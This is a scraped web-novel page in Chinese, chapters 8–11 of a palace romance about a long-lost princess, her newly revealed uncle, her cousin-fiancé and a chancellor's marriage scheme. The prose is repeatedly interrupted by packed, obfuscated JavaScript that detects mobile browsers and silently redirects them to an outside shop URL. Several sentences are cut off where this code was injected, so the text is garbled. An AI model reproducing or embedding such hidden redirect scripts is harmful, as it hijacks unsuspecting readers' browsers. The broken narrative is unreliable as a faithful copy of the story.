l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651778|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的看山照脸色。 山照却不依不饶起来:“听我的?我叫表哥随行,你三番五次的阻拦表哥见我,这叫听令?我想一路急行,你却总顾左右而言他……赵队长,你不觉得你管的太宽了吗?” 山照真是对他在自顾自替她做决定的行为感到厌烦了,她不能退让,越退让只会导致更多的失权。 而且他这一番言行给她一种熟悉的感觉。家中的长辈行事不就是这样,打着为你好的旗号,却不顾当事人的心意肆意妄为。 山照不明白的是,为什么这种熟悉的被掌控感会出现在一个自称不过是护卫队队长的人身上呢? “你真的只是奉命来带我回宫吗?” 赵仪这下明白了,彻底明白了。山照感觉出他待她的不同,因而产生不安全感。 这也好理解,一个女孩儿忽然离家,又被迫接纳了许多陌生的侍从,她只怕处处小心留意着,这才品出来他态度的不同。 山照抬眸看着面前的俊朗青年,他面色如常,一点也不为山照这番质问感到惊慌。 赵仪内心说不出的复杂,他试图遮掩身份,但实际上他遮掩的不算太好,很多细节都极为粗糙。 但这也足以证明,他的女孩有双智慧的眼睛,这让他惊讶中又涌出无尽的自豪。 青年忽然笑了,山照这才发现他的眼睛平时看着不明显,但大笑时眼尾竟然是微微上翘的,竟是一双瑞凤眼。 “殿下很聪明。我很高兴。”赵仪思量一番决定顺坡下驴表明身份,其实也没什么不可以跟山照说的。 打着这个主意,赵仪就没再做那刻意恭敬的样子,他在皇帝面前尚且没有如此伏低做小过。 他将屋内的木凳抽出一个,自顾自的便坐在了山照面前。 山照明显感觉到他的气势不太一样了,整个人自在的要命,这让她也生出几分好奇,他,究竟是谁呢? “殿下,您还记得我说的,您的母亲是谁吗?” 山照知道他这是起了个话头,打算说了,可她疑惑,为何是从这开始。但还是回答了:“我记得,你说是先皇后。” 赵仪点点头,面上有些怀念之色:“我是德贞皇后的弟弟。山照,我是你的舅舅。” 舅舅!他? 山照并未怀疑他话语的真假,他没有理由骗自己。只是,她还是不敢置信:“是我的,舅舅?亲生的吗?” 这句话颇有些失礼,但山照确实没有想过,这个世界上真有跟她血脉相连的亲人。这让她有一种,很奇怪的感觉,尤其是这个人现在正好端端的坐在自己面前。 赵仪眼神却温柔,并没有计较,反而是肯定回答:“是的,殿下我是你的嫡亲舅舅。我跟你的母亲,是一母同胞的姐弟。” “那为什么……这时候才找到我?”山照以为自己是娘去世了,爹又不在乎,所以这么多年,哪怕她是皇后的女儿,也迟迟没人找到。 可竟然有一个嫡亲舅舅在世,山照看他年纪不大不小,正是壮年。那她丢失的这十数年,他在干什么呢? 8. 第 8 章 “山照,不要着急,这要从很久开始讲起了。”似乎察觉到山照的疑惑,赵仪也不敢继续打哑谜。他实在跟这个侄女不熟悉,他害怕因为这点事情导致跟她产生隔阂,山照是这个世界上跟他血脉至亲之人,他已没别的亲人了。 “昭明帝年轻时确是农户子,不过已经年十四已经考中秀才。那会我们赵家不过是商户人家,虽生意做的大,但士农工商,商人之女按理说是配不上年轻的秀才公。但姐姐年轻时艳绝一方,陛下偶得一见,便执意要娶。” 他说得格外仔细,山照便也认真听着。 赵仪跟姐姐差三岁,是看着姐姐出嫁的,他回忆道:“其实爹娘并不想许嫁,农家子科举有成抛妻弃子的事情并不罕见,皇帝越是出众,爹娘便越担心。可姐姐说求娶的人中皇帝人才是最出众的,她为什么要担心并未发生的事情而错过一个好丈夫呢?” 山照默默听着,并未开口。 “其实姐姐嫁他的时候,皇帝还是一个穷酸秀才,也没展露出特别的天赋,至少跟他后来四处征战时的英武相比不值一提。但确实对姐姐是极好的,姐姐每次归家都带着笑,总夸他。夸他聪敏,得了夫子夸赞。夸他勤快,眼里有活干。后来……” 他看向山照,山照知道要讲到自己了,暗地里攥紧了衣角。 “姐姐怀孕了,李家和我们都很高兴,大家一起期待着你的降生。”他嘴角扬起微笑,山照从他的神情中也能感受到,当时大家是如何期待她的。 她其实从前一直以为自己是被遗弃的,遗弃的原因可能有很多,她从不想知道具体。有好事的三姑六婆想跟她讲,当时李家夫妇是怎么捡到她的,她一概不听,走开便是。 原来,她是在期待中降生的……这让山照心情格外复杂,几乎有流泪的冲动。 山照看向自己的‘舅舅’,他穿绸带玉,看起来过得很好。既然对这个弟弟都如此恩宠,可见昭明帝对仁纯皇后感情是很深的,那她这许多年到底是为何? 赵仪没注意到山照的深思,他沉浸在回忆中,说了很多自己对小侄子小侄女的期待:“我准备了好多小孩喜欢的东西,拨浪鼓、小玩-偶……娘缝了一件又一件的小孩衣服,到现在还有许多收在娘的箱子里呢……” “只是……姐姐生你的时候,难产……”他情绪转换,一下子从极乐转向极悲,他唇间泄出一丝哭腔,但他马上努力控制住了,他不好在山照面前表现得如此脆弱。 “你才出生几天,姐姐便去了。又逢前朝哀帝驾崩,天下动-乱。皇帝不能继续读书,又要谋生,好在身强体壮便去做了镖头。便是一次押镖,偶遇了江氏,救下了她。” “江氏是县尉庶女,看中了皇帝,也不知怎么说服了江县尉竟然同意许嫁,皇帝那会一文不名,对这样的婚事自然欣然接受。” 赵仪眼中带着后悔:“早知有后来的事情,无论如何也不要江氏照顾你。” 讲到这里他回过神解释了一句:“江氏便是如今的皇后,等你入了宫,会见到她的。” “不过,不用怕她。她已经失宠多年了,能做皇后,不过是陛下为了朝堂稳固立了个靶子。她再不能为难你。” 山照注意到那个‘再’字,脑子里瞬间闪过很多猜测,但都藏在心中,没打断赵仪说话。 “她刚开始是很柔顺的,对你的照顾也是精细万分,无一处不好。后来她怀孕了,这会昭明帝的兵力早已扩大了数倍不止,地位同从前不可同日而语。” “只是,胜败乃兵家常事。陛下也有受挫的时候,你才三岁的时候,他在淮水征战,被内奸背叛,输了一场,兵败而逃。当时你跟江氏一同在附近的城池,江氏正外出,知道消息就慌忙驱车逃走了,只派了几个兵士去告知府中。” 他冷笑一声:“江氏若是有心便该接着你再一起奔逃,即便她百般狡辩,我是不信的。那会你身边只有乳母丫鬟们,她们怎么保护你?城破之时,那几个兵士和照顾你的乳母一同暗地奔逃,却被发现,后来……” 说到这里赵仪自己又顿住了,他看向山照的眼神无比愧疚:“你是个女孩,从前我确实没有想过,江氏会对一个没有继承权的女孩如此耿耿于怀。若我当初有一些防备……” 这是赵仪心中一痛,皇帝从还未起事的时候他们赵家就一直在帮助他。如今皇帝如此宠信他,也有他赵家用尽全部身家资助他的原因。 所以,他一直是能在皇帝面前说的上话的,但凡他多注意一点内宅,山照就不会遇到这种事情。 每每想起这件事情,他就恨,恨江氏、恨皇帝、也恨他自己。 山照只看着他,对她来说这像是别人的故事,她丝毫没有记忆。这样陌生的、毫无波澜的眼神,又刺痛了赵仪。 终究是错过了这许多年…… “后来,后来昭明帝说找不到你了,跟爹娘说对不起杨家、对不起姐姐。”赵仪表情失态:“连自己的女人都管不住,事情如此明了,他还是以江氏错不至此为由,只惩罚她抄经为你祈福,没有休妻。” 赵仪确实为此愤愤不平,他生平最恨的人就是江氏,第二恨的便是江氏的女儿二公主,每每他听见二公主又仗着身份做了如何出格之事时,他都恨到夜不能寐。 他不明白,凭什么她的女儿锦衣玉食的长大,姐姐的女儿却不知死活。 可是任由他如何不爽,那个女人还是做了皇后…… 他又恍惚想起,自己曾经的‘好兄弟’劝解他所说的那些话:“不要再找了,三岁的女孩流落在外就算活着还能有什么好。” “找到了又怎么样,若是在青-楼楚馆那样的地儿寻到,不是更难受?” “最好是找不到,陛下才能长长久久的愧疚。知道你们过得好,德贞皇后的在天之灵也会得到慰藉的。” 放屁放屁放屁! 赵仪不信这个理,他就是要找,找到他死! “我一直在找你,从未放弃。可是那会天下未定,我也有许多琐事缠身,便是寻访周边却也没有找到你的足迹。但我从未放弃过……” 还好,去年建国后他能用的人力更多,终于通过一块玉佩排查到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“舅舅,你都说我是公主了。这是不是已经是顶顶尊贵的身份了?” 赵仪不知道她忽然提起这个做什么,但他被这声舅舅叫得熨帖极了:“是的,你是陛下最长的孩子,又是原配嫡出,宫中皇子公主无人再比你尊贵了。” “既然如此,我还是不能嫁给自己喜欢的人吗?舅舅,我这个最尊贵的公主,依旧要嫁给一个我不认识也不喜欢的人吗?” 赵仪沉默了。他竟然觉得有些道理。 “可是,那小子有什么好的呢?你不知道,上京的儿郎们有多优秀,任你是喜欢英俊潇洒的还是才华横溢的,都随你挑。” 山照说了句真心话,她想要的其实一直都简单:“可是,再也不会有一个人陪我一起长大了。舅舅,这份情谊是旁人不可代替的。” 赵仪:…… 他看着山照,少女已然亭亭玉立,她有自己的想法了。 “陛下,不是我这样好说话的。山照,你还是得做好心理准备,千万不能跟陛下别苗头。” 山照懂听话听音的道理,他竟然就这样默认了,至少表哥在短时间能够照顾她了。 这样便是极好的了,走一步看一步吧。 9. 第 9 章 到了夜里,山照的病情反复了,白日里杨力行没解开的衣袍还是解了。 杨力行上衣褪至臂弯,古铜色的饱满胸膛上正伏着一人,她黑色的长发逶迤至腰间,在月色下泛着缎子般的光泽。 他用叹息一般的腔调,似是劝诫:“怎么就是改不了这个毛病呢?”但此刻如此脆弱的弱点被他人掌握,他这番劝诫也格外苍白。 杨力行感觉到胸-前一凉,温热的触感离开。那女子抬起脸庞,眼角酡红,正是山照。 山照躺在表哥怀里,他宽厚的臂膀能将她整个人都拥满,她从这个怀抱里感受到无与伦比的安全感。 “表哥,我实在头疼。”她眼里含着泪。 她好像整个脑袋要被劈开两半,又像有个小锤在天灵上敲打,脑子一阵紧一阵松,疼到她没办法保持理智,实在太疼了、太疼了…… 良药就在眼前,这让她怎么忍得住不去啜吸呢…… 这便是山照和表哥羞于启齿的‘小秘密’,她也不知道事情是怎么发展成这样的,好像从幼时山照撞见娘给啼哭不止的弟弟哺乳开始就不太对劲了。 她当然知道自己也曾经是个奶娃娃,但她已经忘记了那时的感受。她想知道弟弟为什么在母亲怀里就不会啼哭,她想知道被娘喂养的感觉是什么? 但是她不敢对娘说,她那会虽然小,却已经知道她跟弟弟们是不一样的了。 因为弟弟们是娘生的,她不知道是谁生的。 后来有一次她高烧不退,头疼欲裂,躺在床上一直哭。表哥来看她,问她怎样她会好点。山照便鬼使神差的说:“我想表哥喂一喂我。” 杨力行还小,不知道这动作意味着什么,也就答应了。 也许是没有恢复好,山照一不舒服就容易犯头疼,而头疼的时候若是能吸一吸,便好似有什么神奇的魔力一样,症状便会好转。 杨力行每每都不忍心看山照疼痛,山照也怕极了这头疼症,发起来真是要了她半条命。因此,也就勾勾缠缠持续这许多年。 杨力行侧着身方便山照动作,左手轻拍她的背,像母亲在哄睡孩子。他明明是个男子,但此刻这种行为状态下,神情居然仿佛有些母性。 他静静看着山照动作累了困倦的模样,看她双手还恋恋不舍地活动。 她脸上有种纯然的满足,倒真有些像得到安抚的婴儿。 倒是可怜极了,又可爱极了。 杨力行不能拒绝她的要求,内心深处却不免有些心酸:“若是婚事不成,这又算什么呢?” 二人谁都没有说话,山照闭着眼感受逐渐缓解的头疼,杨力行则是等待身体反应平复。 直到婢女灵曲在外突然出声:“杨公子,国公爷请您一见”。 杨力行仿佛被惊醒一般,手忙脚乱敛起衣襟,山照脸上已经满是困意。 杨力行低声道:“睡吧。” 山照有些紧张:“舅舅叫你去干嘛?” 既然已经跟山照坦白,赵仪就没有再装,反正不知道他身份的也就山照和杨力行,懒得做戏。 杨力行震惊之后,只为山照高兴,毕竟多了一个亲人。 他自然不知赵仪叫他是要说什么,但他好不容易安抚好了山照,并不愿意她担心,只做轻松一笑:“睡吧,等你醒了,第一眼看到的还是我。” 山照便合上眼睛,表情安然甜蜜,看得杨力行心里暖暖的,他奇异的有股哺育后的满足感,这种感觉让他几乎要挪不动道。 实际上,从前他都是看着山照睡着才走的,有时甚至让她保持这个状态睡着再走。 山照如此,也有他惯着的缘故,只是他和她谁都不敢对人言说、不敢表露。本以为婚后便好了,左不过只是闺房之乐,却未曾想到还有这样的波折。 早知如此,当初真不该一时心软闯下这桩祸事。若没有这件事,知道山照有更好的归宿,杨力行能够放手的,他对山照之爱,并非占有。可山照离了他就头疼,这叫他怎么丢得开手。 杨力行一推开门,灵曲便看向室内,见烛光悠悠,公主平静安然地躺着,悬着的心终于放下。 她还是十分警惕孤男寡女共处一室,若是公主做出什么事情来,她作为贴身侍女是难辞其咎的。 杨力行本想就此离开,陈於白却叫住他:“嘿,兄弟。” 他疑惑看向陈於白,陈於白嘿嘿一笑,对着杨力行比了一个大拇指:“我佩服你,是个真男人。单枪匹马的都敢跟承恩公对着干。” 杨力行想起来了,这是当时他跟赵队长起冲突的时候在场的人,他便对他点点头,也不多言。 之后陈於白就领着他去赵仪的厢房。路上,陈於白教了杨力行非正式场合面见承恩公的礼仪。 行走间,衣物摩-擦到胸-前,他忍住那份不适。暗自庆幸:还好秋天了,衣物够厚,看不出来。 进了厢房,杨力行进门就快步上前,走到赵仪面前五步左右距离,站着行了叉手礼。 赵仪朝陈於白轻抬下颌,陈於白便退下了。 赵仪坐在上首,由于是想低调行事,他没穿自己的衣服,因而还是那身白衣黑巾的打扮,可浑身的气势却跟他伪装时候的不太一致了。 他双腿极为放松的横岔着,上身却依旧挺直,说不出的贵气。其实不太符合杨力行对这些贵人的刻板印象,但他也没见过什么贵人,在这些日子之前,他见过最有富贵气息的,是炅阳的大财主。 从前他觉得前呼后拥、穿绸着锦、大腹便便就是富贵气派,今日一见真正的皇亲国戚才知道自己从前的想法是多么狭隘。 赵仪从上到下细细打量过杨力行,他想不通为何山照非他不可,明明缇灵卫里面都是清俊少年,喜欢哪个类型这里都有。 但他观察了这几日,并未发现山照对谁青眼,真是一个中用的也没有。 在他眼里,杨力行实在是普通,虽然长相身材都还不错,可在这一群长相身材都极好的人里面实在是不出挑。 性格更是看不出多少优点,不会甜言蜜语,还有股死倔劲。 若说是从小的情谊,可山照同养父养母相处时间更长,也没见这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,绝不许有孩子,但转念一想,医师把脉时也未提及,就把这个问题放下了。 “虽然殿下非要寻陛下要个答案,但我可以确实告诉你,陛下不可能同意。你一无家世二无才干,满朝文武,哪家的子弟也比你强!” “可殿下不要我走……” 赵仪也是头疼:“你非要走她还能留你吗?你若是真心对殿下好,此刻就该主动请辞。了不起我赔你一门好亲事,够你在炅阳潇洒到老了。” 杨力行只摇头:“我不要。山照叫我走,我才走。” “行了行了,你退下吧。”赵仪实在是说不通,这个杨力行是个死脑筋,他得好好想想怎么说服山照,反正杨力行是不可能顶着山照未婚夫的身份回京的。 他怎么可能跟昭明帝说,买一送二了。不仅带回了大公主,连大公主的驸马都带回来了,诺,就是那边站着的泥腿子。 光是想想那个画面,他都觉得心里发毛,找死也不是这个找法。 10. 第 10 章 上京,李氏皇宫。 早朝才刚散去,昭明帝便在勤政殿召见丞相孟衡之。其余大臣眼见着陛下只带走丞相单独议事,只纷纷羡慕,感叹丞相圣眷正浓,陛下这番作态简直就像片刻不能离了丞相。 君臣二人详谈了一番早上未议尽的国事,便近中午。丞相顺理成章的被留饭,他先跪谢陛下恩宠,待昭明帝扶起时却并未顺着力道站起。 昭明帝性子直爽,不爱打机锋:“爱卿是否有话要说?” 孟衡之便也不扭捏:“臣听闻大公主不日便要返朝回宫……犬子如今即将弱冠,还未婚配。” 他能以顺臣之身做丞相自然是有原因的,其一便是得讨皇帝喜欢,他知道昭明帝不喜旁人说话处处机锋,他便直白袒露心声,投其所好。 皇帝长眉一挑,这个动作说来不太正经,但昭明帝做来却是别有一番风-流意味,他露出些兴趣:“孟少监啊,朕记得,那是个玉质天成的皎皎君子啊,这样好的儿郎竟然还未婚配吗?” 他话毕,又伸手扶起丞相:“我还以为多大的事情,先起来回话吧。” 这次孟衡之没再推拒,顺势起身。 要言谈公主的婚事便是皇家秘辛,总管太监福荣给徒弟小松子使了个眼色,几个小太监便悄无声息退出殿外。 “犬子曾有一门婚事,定下的是前朝户部尚书的嫡幼女。陛下应该还记得,他家…判了满门抄斩。” 昭明帝确实记得,因为是他下令赐死的。 说起来,孟家身份在新朝是极为尴尬的。在前朝之时,孟家虽也是官宦之家,却远不如今日的辉煌,孟衡之彼时不过是正四品的吏部侍郎,虽有前途但毕竟还不算发迹。 但因有莫大的从龙之功,又展现出惊人的才干,昭明帝力排众议提拔他做丞相,孟衡之在新朝便有了一人之下、万人之上的地位。 只这一旧主未亡便投靠新主的行为,依旧被大小官员诟病,因孟衡之大权在握不曾有人公开表露。 他看得上的,自诩清流不愿与他结亲。愿意来结亲的,又多是趋炎附势之辈,他却也瞧不起,如此也就耽误了他独子的亲事。 “丞相是为孟少监想求娶?” “还望陛下愿将公主出降,臣等阖家恭迎。”他说着,又是深深一个揖。 人都说锦上添花易,雪中送炭难。大公主如今什么样子都无人知晓,仅从流落民间多年来看,就知教养不会精细,说不得是个市井妇人习性。但愈是这般,陛下看才知他求娶的诚意。 皇帝心里知道他为什么想求娶公主,无非是怕狡兔死走狗烹。不过他此刻确实是人生中最为顺心的阶段,还未曾到多疑的时候,即便看出暗地的心思,也只不过觉得人之常情。 “大公主是在民间长大,朕也只记得她幼时的可爱模样,如今样貌如何、性格如何,朕也一概不知。如此这般,你也愿意?” 皇帝本来不过是随口一说,不过没想到随意一想倒真回忆起几帧山照的模样,只是记忆实在久远,隐约记得跟承恩公是不太相似,倒是很像赵氏,那必定是个美人了。 “臣怎敢挑剔,能得公主出降便已是莫大荣幸。” 想起赵氏,昭明帝不免有些遗憾。这是他心里唯一的正妻,却没等到他发迹的那一天,他看向丞相:“公主虽然到了婚嫁之年,但毕竟才要回宫。此事,便再议吧。” 孟衡之自然只能接受,不过求娶之心更盛。 ** 侍奉完皇帝回到丞相府,孟衡之第一件事情便是叫管事将儿子唤来。 他起了一局棋,便坐在茶室静待。 “父亲。”孟羽光推门而入,端的是神仪明秀、朗目星眉,他一进门,便有满室生辉。 孟衡之执黑子,孟羽光便执白子,在棋盘之上杀了起来。 你来我往,二十七回合,黑子落败。 孟衡之输了。他抬头,满眼是对儿子的欣赏。 他心中也叹,若不是陛下行军之时伤了身体,群臣也不会慌乱到想先立太子,他也不至于早早谋划起未来。 他对这个儿子寄予厚望,却不得不以他的婚姻为棋,保全家无虞。尚公主,可不算什么美差。 “早朝之后,我向圣上求娶了大公主。” 关于此事,父子两人早已沟通过。孟衡之刚知道大公主依旧在世之时便起了这个心,他们孟家虽如今来看是鲜花着锦、风光无限,但他没忽略暗地里其实是烈火烹油、隐含危机。 “陛下,并未给予肯定答复。” 孟衡之却不沮丧,反而有些喜意:“这是好事。若是陛下不在意大公主,便可能随口许诺了,如今这番回答倒像是要大公主自己看看的意思。” “大公主虽然背景尴尬,但只要你们的孩儿是皇家血脉,能保后代安全无虞便可,得不得宠并不要紧。” “不过,得宠的自然是更好。” 孟衡之知道自己的儿子从小便心高气傲,恐怕也不愿意配不知品行的民间公主,要他主动去讨公主喜欢便更是难上加难。 但为子孙后代,他耳提面命:“浴恩,别忘了,我为何要给你取这样一个字!” 孟羽光,字浴恩,浴的自然是陛下的恩。自取了这个字,孟家常被群臣讥笑,都言他家谄媚圣上无所不用其极。 孟羽光自然是极不喜欢这个字的,他这才抬眼瞧了父亲。 孟衡之这会可不惯着他,甚至没给他辩驳的机会:“回去吧,你终归是要娶亲生子的,有些毛病该改就改了。” 孟羽光不跟父亲做这些无谓的争执,反正也不是第一次不欢而散了。既然谁也说服不了谁,他也不需要废这等口舌。 他行过礼,便转身离开。 孟衡之看儿子离开的身影,连背影都能看出一番风-流韵味,心中既是骄傲又是遗憾。若他们不是顺臣之家,倒也可以在夺嫡之争中下一笔豪注,只是……到底可惜了。 侍女岚月奉茶进来,孟衡之轻撇她一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651781|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不过十六七岁,容貌清丽,身姿窈窕,他忽然开口:“你去夫人那里,告诉夫人光哥儿不日便要说亲事了,该教他的要让他学会了才好。” 岚月点头应是。 ** 月明星稀,秋日飒爽。 孟羽光喜洁,每日都要沐浴。他沐浴完毕,便从隔间中赤着身子走出,立在门口等候他的却不是用惯的小厮,而是两个陌生的妙龄女子。 他皮肤如同冷月,胸-前粉的粉白的白,宽肩窄腰,实在是一具赏心悦目的身体。往下……女婢便不敢直勾勾盯着看了。 那二人只着小衣,身姿窈窕,面有羞怯。 “少爷,婢子奉夫人之命,来伺-候少爷更衣。”婢女声音极尽娇柔,却让孟羽光眉间不悦之色更浓。 今日与父亲两句交谈本就让他心情不悦,不知母亲突然又是干什么。他脑海中忽然回忆起走时父亲提醒的那句,片刻便了然这不过是母亲在执行父亲的命令罢了。 这倒不是母亲第一次派貌美侍女来侍奉他,只是从前多少也要先知会他一声,不过在与前未婚妻的婚事不成之后,母亲便也没再提起。 他细想想便知道这一出也是为了他婚前晓事之事,既然已经决定和迎娶公主,那他可不能在新婚之夜露怯,不然倒成一桩笑话。 而他未曾收用女子的事实,恐怕也让父亲极为担忧吧。 回想起这桩桩件件,孟羽光知道自己顺了他们的意更好,因此那婢子二人手捧浴巾擦拭上来时,他刻意忍耐住了,并未躲闪。 只是垂眸看着那跪坐在自己脚旁,为他擦拭的婢女。她的小衣束的不紧,露出半边春-光。 他一览无余,却平静无波,眼底更无欲色。 跪坐的婢女十指纤纤,用巾子从脚踝一路擦拭上去,到小腿处,抬头怯怯望了孟羽光一眼,眼角酡红,却是鼓足勇气继续往上移。 却没料孟羽光移了一步,她差点摔倒,惊呼出声,只声音柔媚,也不知是真惊吓到了还是故作此态。 若孟羽光是个怜香惜玉的公子哥,此刻便能搂住婢子,进床帷之中快活一番了。 只可惜,他视此事为如同猪犬□□一般的下流行为,美貌婢子并未让他心有波澜,而是让他的不耐一层一层的增加。 这一声惊叫让孟羽光心中的不耐到达顶峰,颇觉自己反倒是让人取乐之人,被婢女占尽便宜。 他从十三、四岁起就知道,时常有婢女看着他眼含痴意,等到母亲要为他准备人选之时,就更是多了一些巧遇之事。 他实在是烦透了这样的事情,况且就算用了她们,也不会让她们留下子嗣。既然如此,她们确实也没用。 “退下。” 毫不留情挥开两双柔荑,他自顾自的披上外袍,看也不看身后两人,便这样走了。 他已打定主意:若公主进门,免不得交欢,他便敷衍一二罢了。只要留下子嗣,便就再不必勉强。 女色,实在无味。 11. 第 11 章 山照安然睡了一晚,第二天便好转了许多。不仅能下床走几步,端上的饭食也用了大半,这可以说是山照自离家之后吃的最多的一次了。 灵曲连忙跟承恩公报了喜讯。 饭刚吃完,赵仪便来了。 山照正坐在躺椅上,看着窗外的景色。她身上盖着薄锦被子,发间的月季钗子栩栩如生,也不知工匠是如何巧手,那花蕊竟能随着风轻微颤动。 陵水府城自然是繁华的,特别是早上,上工的上工、游玩的游玩、卖货的卖货,来往行人真如同流水一般淌过,山照这才理解到什么是车水马龙,她从前并未来过这样大的地方。 便就是有,她也只不过是下方来来往往的行人中间一个,哪有这样的闲情逸致,就这样静静坐在绝好位置观看呢。 赵仪并未打扰她的兴致,而是让灵曲又放了一张椅子,他便陪着山照看了会。 他回忆了片刻,手下人收集来的消息,便如同讲故事一般为山照说起陵水的一些轶闻趣事。 “陵水府之所以叫这个名字,便是有一条黄河支流从此地流经,名唤陵水。这陵水府依山傍水,产出的山珍野味可不少。便说这近的,喏,你看远方那条缎子似的长河……” 山照依言看过去,确是一条好长好长的河,一直蜿蜒着流向她视线的尽头。炅阳也有河,但没有这样大,她知道这样远处就能分辨得清的河流,若是走到近处,气势更为磅礴。 “陵水有奇鱼,就叫陵鱼,此鱼肉质鲜甜,用来烹汤是一绝。额间有一五彩鳞片,光彩熠熠,用来做摆件亦或首饰,价值不菲。” 山照从未听过世间竟有如此奇物,眼中有些好奇,赵仪含笑吩咐:“今日中午就为殿下呈上陵鱼汤。至于首饰,我已叫侍卫们去采买,想必最迟晚上殿下便能观赏。” 她眉间微蹙:“倒也不必为我如此耗费。”她虽然好奇那鱼汤的口感,也想看看那羽鳞的颜色,但这种‘想’不过只有浅淡的一丝,片刻就散了。 赵仪替山照把搭着的薄被往上折了折:“殿下要习惯。日后,但凡您有兴致的东西,无论贵贱,您都可以得到。” “不计花费、不惜人力。” 这话多么高傲,山照有些反射性的不喜,但却更深层次的认知到,自己确是今非昔比。 她不再是楼下那些为了生计奔波的平民,她是公主了,她可以不事生产,她可以锦衣玉食,她可以做许多之前自己根本不敢想的事情…… 只是,她看向楼下芸芸众生,却没有感受到多少欢喜。 她只感觉自己现在所经历的一切,宛如空中楼阁,充满不确定性。皇帝陛下,她的生身父亲,真的会喜欢她吗? 假如他不喜欢她,她还能回到从前的日子吗?她经历过这一切之后,还能甘愿做一个农女吗? 赵仪没有得到预想中的反应,山照没有欢喜、没有感谢,反而是露出近乎忧愁的神情,他发现自己确实是不懂山照。 他不理解她为什么郁郁不安,不懂她为什么不会因为获得权力感到快乐。 他轻叹一声:“殿下,你到底想要什么呢?” 山照也疑惑了,她没有想过今时今日这样的场景,但说她有什么不满,似乎又过于苛刻了,每个人都很呵护她,仿佛她是什么珍贵的琉璃瓶。 “舅舅,我不知道。我有点害怕……”山照实践过了,赵舅舅是比赵队长好说话的多。 “殿下,你不需要害怕。除非改朝换代,否则你的身份会一直保护你,你此生不需要考虑除了快乐之外的事情。” 但人哪有可能只有快乐呢?山照不信,况且眼前不就有一桩不圆满的事情吗? “我的婚事……我不想嫁给不认识的人……” 赵仪安慰她:“殿下,别的公主婚事我不敢保证,但您的就放心吧,便是跟这小子不成,也绝不是盲婚哑嫁。” “这点薄面,舅舅还是有的。” 可见一面,便能定下终身吗?山照不言语,李家村里也有许多这样的事情,可她还是觉得困惑,两个人婚前没有相知又怎么婚姻美满呢? 都说姻缘天定,可月老牵线,就真的没有错的时候吗?若是从未有错,话本子里又为何那么多痴男怨女,大家擎等着天定姻缘便可了。 “表哥……”山照才说了个头,就被赵仪打断了。 “殿下,你若是信舅舅,千万不要在陛下面前提起这个人。你若是真心喜欢这个人,便悄悄些吧。”赵仪已经退了很多步,甚至默认他们继续在路上来往。可他也不能明知前方无路,还要叫侄女去碰一头灰。 “你若是告诉陛下,陛下是不会给你们赐婚的。最大的可能,你这辈子也许都见不到此人了。天子一怒,伏尸百万,又何况这小小平民?” 山照被唬了一跳,她犹有怀疑:“可表哥没做错什么,我们是父母许可、三媒六聘结的正经婚事。” 赵仪被她天真的想法逗笑了:“皇宫可不是讲理的地方。别说舅舅没有提醒你。你若是提了,你最多在宫中禁足,无聊些日子。那小子可就可怜了。” 赵仪话都说到这了,山照也不得不信,只也没有全信,她病中自然没有精力想这么多东西。 她这会才惊觉,自己竟然没有问过宫中的情况,她除了知道自己是什么身份外,几乎一无所知。 “舅舅,皇宫里面是什么样子呢?我听说陛下有三宫六院……”山照知道的许多事情不过是市井流传,许是有真的,但多半没什么依据。 “这个嘛……”赵仪唤来灵曲,手指轻点她的方向:“这婢女便是宫中人,我随手从贤妃宫中点了一个。” 灵曲点头应是:“婢子是贤妃娘娘宫中二等宫女。” “至于三宫六院嘛,若说宫殿楼台自然是不止的。但妃嫔……”赵仪顿了顿,他倒是不方便谈这个:“便叫灵曲给你讲讲宫中主位吧,那些个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651782|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没名没号的你也不必知道。” 灵曲是个极稳得住的性子,即便是山照并不如何看重她,她也未曾有过疏忽,此刻也是一位一位娓娓道来,却是只谈好的,并不偏颇。 “一时之间,奴却不知道从何讲起,便按尊卑,先从皇后娘娘开始吧……” “殿下您的母亲是德贞皇后,为陛下的原配妻子。此后,便也只有一任妻子,便是当今的皇后娘娘。娘娘育有二公主,比殿下略小三岁。” “其下有三妃,贵、淑、贤,这三位娘娘都育有皇子。贵妃娘娘育有二皇子,淑妃娘娘育有三皇子、五皇子,贤妃娘娘育有大皇子。” “再还有姜昭容,育有四公主。宁修仪,育有七公主、七皇子。蒋充媛育有六公主。白婕妤育有八公主。” 山照没想过自己居然有这么多弟弟妹妹:“这便是全部了吗?” 